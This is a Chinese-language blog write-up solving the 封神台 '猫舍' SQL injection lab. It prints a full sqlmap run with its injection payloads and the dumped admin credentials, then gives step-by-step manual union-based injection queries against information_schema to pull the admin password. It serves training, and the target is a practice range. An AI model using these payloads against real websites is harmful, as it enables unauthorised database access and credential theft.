封神台 SQL注入 靶场 （猫舍）手动注入

封神台 SQL注入 靶场 （猫舍）手动注入

靶园地址  http://pu2lh35s.ia.aqlab.cn/?id=1
使用脚本

• 可以直接使用sqlmap脚本 直接 对这个地址进行测试 不过这样实在是太没意思了
  
• 这里使用的是 sqlmap 二次开发的 sqlmapplus 脚本 sqlmap 也是一样的
  

1. sqlmapX -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D "maoshe"  --dump  --batch --random-agent
2.         ___
3.        __H__
4. ___ ___["]_____ ___ ___  {1.8#stable}
5. |_ -| . [.]     | .'| . |
6. |___|_  [.]_|_|_|__,|  _|
7.       |_|V...       |_|   https://sqlmap.org
9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
11. [*] starting @ 20:46:16 /2024-10-12/
13. [20:46:16] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12' from file '/home/kali/tools/SqlmapXPlus/data/txt/user-agents.txt'
14. [20:46:17] [INFO] resuming back-end DBMS 'mysql'
15. [20:46:17] [INFO] testing connection to the target URL
16. sqlmap resumed the following injection point(s) from stored session:
17. ---
18. Parameter: id (GET)
19.     Type: boolean-based blind
20.     Title: AND boolean-based blind - WHERE or HAVING clause
21.     Payload: id=1 AND 8425=8425
23.     Type: time-based blind
24.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
25.     Payload: id=1 AND (SELECT 3539 FROM (SELECT(SLEEP(5)))tWAV)
26. ---
27. [20:46:17] [INFO] the back-end DBMS is MySQL
28. web server operating system: Windows
29. web application technology: PHP 5.4.45, Apache 2.4.23
30. back-end DBMS: MySQL >= 5.0.12
31. [20:46:17] [INFO] fetching tables for database: 'maoshe'
32. [20:46:17] [INFO] fetching number of tables for database 'maoshe'
33. [20:46:17] [INFO] resumed: 4
34. [20:46:17] [INFO] resumed: admin
35. [20:46:17] [INFO] resumed: dirs
36. [20:46:17] [INFO] resumed: news
37. [20:46:17] [INFO] resumed: xss
38. [20:46:17] [INFO] fetching columns for table 'admin' in database 'maoshe'
39. [20:46:17] [INFO] resumed: 3
40. [20:46:17] [INFO] resumed: Id
41. [20:46:17] [INFO] resumed: username
42. [20:46:17] [INFO] resumed: password
43. [20:46:17] [INFO] fetching entries for table 'admin' in database 'maoshe'
44. [20:46:17] [INFO] fetching number of entries for table 'admin' in database 'maoshe'
45. [20:46:17] [INFO] resumed: 2
46. [20:46:17] [INFO] resumed: 1
47. [20:46:17] [INFO] resumed: hellohack
48. [20:46:17] [INFO] resumed: admin
49. [20:46:17] [INFO] resumed: 2
50. [20:46:17] [INFO] resumed: zkaqbanban
51. [20:46:17] [INFO] resumed: ppt
52. Database: maoshe
53. Table: admin
54. [2 entries]
55. +----+------------+----------+
56. | Id | password   | username |
57. +----+------------+----------+
58. | 1  | hellohack  | admin    | ## 这里已经发现了 flag
59. | 2  | zkaqbanban | ppt      |
60. +----+------------+----------+
62. [20:46:17] [INFO] table 'maoshe.`admin`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/admin.csv'
63. [20:46:17] [INFO] fetching columns for table 'xss' in database 'maoshe'
64. [20:46:17] [INFO] resumed: 3
65. [20:46:17] [INFO] resumed: id
66. [20:46:17] [INFO] resumed: user
67. [20:46:17] [INFO] resumed: pass
68. [20:46:17] [INFO] fetching entries for table 'xss' in database 'maoshe'
69. [20:46:17] [INFO] fetching number of entries for table 'xss' in database 'maoshe'
70. [20:46:17] [INFO] resumed: 0
71. [20:46:17] [WARNING] table 'xss' in database 'maoshe' appears to be empty
72. Database: maoshe
73. Table: xss
74. [0 entries]
75. +----+------+--------+
76. | id | pass | user   |
77. +----+------+--------+
78. +----+------+--------+
80. [20:46:17] [INFO] table 'maoshe.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/xss.csv'
81. [20:46:17] [INFO] fetching columns for table 'news' in database 'maoshe'
82. [20:46:17] [INFO] resumed: 2
83. [20:46:17] [INFO] resumed: id
84. [20:46:17] [INFO] resumed: content
85. [20:46:17] [INFO] fetching entries for table 'news' in database 'maoshe'
86. [20:46:17] [INFO] fetching number of entries for table 'news' in database 'maoshe'
87. [20:46:17] [INFO] resumed: 3
88. [20:46:17] [INFO] resumed:
89. [20:46:17] [INFO] resumed: 1
90. [20:46:17] [INFO] resumed: <h1>
91. [20:46:17] [INFO] resumed: 2
92. [20:46:17] [INFO] resumed: <h1>
93. [20:46:17] [INFO] resumed: 3
94. Database: maoshe
95. Table: news
96. [3 entries]
97. +----+-----------------------------------------------------------------+
98. | id | content                                                         |
99. +----+-----------------------------------------------------------------+
100. | 1  |  |
101. | 2  | <h1>                                                            |
102. | 3  | <h1>                                                            |
103. +----+-----------------------------------------------------------------+
105. [20:46:18] [INFO] table 'maoshe.news' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/news.csv'
106. [20:46:18] [INFO] fetching columns for table 'dirs' in database 'maoshe'
107. [20:46:18] [INFO] resumed: 1
108. [20:46:18] [INFO] resumed: paths
109. [20:46:18] [INFO] fetching entries for table 'dirs' in database 'maoshe'
110. [20:46:18] [INFO] fetching number of entries for table 'dirs' in database 'maoshe'
111. [20:46:18] [INFO] resumed: 0
112. [20:46:18] [WARNING] table 'dirs' in database 'maoshe' appears to be empty
113. Database: maoshe
114. Table: dirs
115. [0 entries]
116. +-------+
117. | paths |
118. +-------+
119. +-------+
121. [20:46:18] [INFO] table 'maoshe.dirs' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/dirs.csv'
122. [20:46:18] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn'
124. [*] ending @ 20:46:18 /2024-10-12/

复制代码

手动注入

判断是否存在 SQL注入漏洞

• 构造and 1=1，这个语句是恒成立的，一般页面都是不报错的
  
  
  
  
  
  
  
• 尝试 1=2
  
  
  
  
• 这里报错了 说明存在 注入漏洞
  

使用 order by 语句 判断数据库字段数

• 构造?id=1 and 1=1 order by 1 页面没有变化（order by 1表现根据第一列来排序，一般也是如此默认升序的）
  
• 再来依次构造order by 2 / order by 3
  
• 由MySQL的语法有，order by后面的数据凌驾列数后将会报错，因此用种方法来判断一共有几个字段
  
  
  
  
  
  
  
  
  
  
• order by 1/order by 2 都没有任何问题 但是 order by 3 报错了
  

使用联合查询判断回显点

• 回显点就是在页面中能显示数据库信息的板块，比如有的网页中“浏览次数”“发布时间”等，都反应的是数据库中的数据
  
• 在MySQL语句中，页面一次只能显示一行查询的内容，而且是先查后显示，于是我们需要让前面的语句?id=1 and 1=1这句话失效，从而显示union select 1,2的内容
  
• 因此我们让前一个命令报错无法显示，即构造?id=1 and 1=2，后面照常union select 1,2
  
  
  
  

使用回显点 查询相关的数据

• 查询当前数据库的名称
  

• 已知2为回显点，我们只需要在联合查询时将2更换为我们想要查询到部位名称即可
  
• 可以查询当前的数据库名，将2更换为database()
  
• 构造id=1 and 1=2 union select 1,database()
  
  
  
  
• 数据库名为maoshe
  

• 查询数据库中的表名
  

• 构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
  
• limit 0,1的意思是从0开始，查询第1个数据
  
  
  
  
  
  
  
• 只要修改后面的 limit 0,1 /limit 1,1/limit 2,1 就可以看到后面的表名了
  
• 说明后面 的数据库的表 分别是 admin dirs news xss
  
• 而当后面是 limit 4,1 的时候 就是空白的 说明只有四张表 而管理员的信息一般都存在 admin 中
  

• 查询admin表的列名
  

• 构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
  
  
  
  
• 同样 修改后面的 limit 0,1 就可以看到 后面的列名 第一列是 id 第二列是 username 第三列 则是password
  
• 现在所有的信息都找到了 直接查询就可以了
  

• 查询需要的信息
  

• 构造 ?id=1 and 1=2 union select 1,username from admin
  
  
  
  
• 构造 ?id=1 and 1=2 union select 1,password from admin where username = 'admin'
  
  
  
  

结束

• Flag 已经找到了 也就是 管理员的暗码 hellohack
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。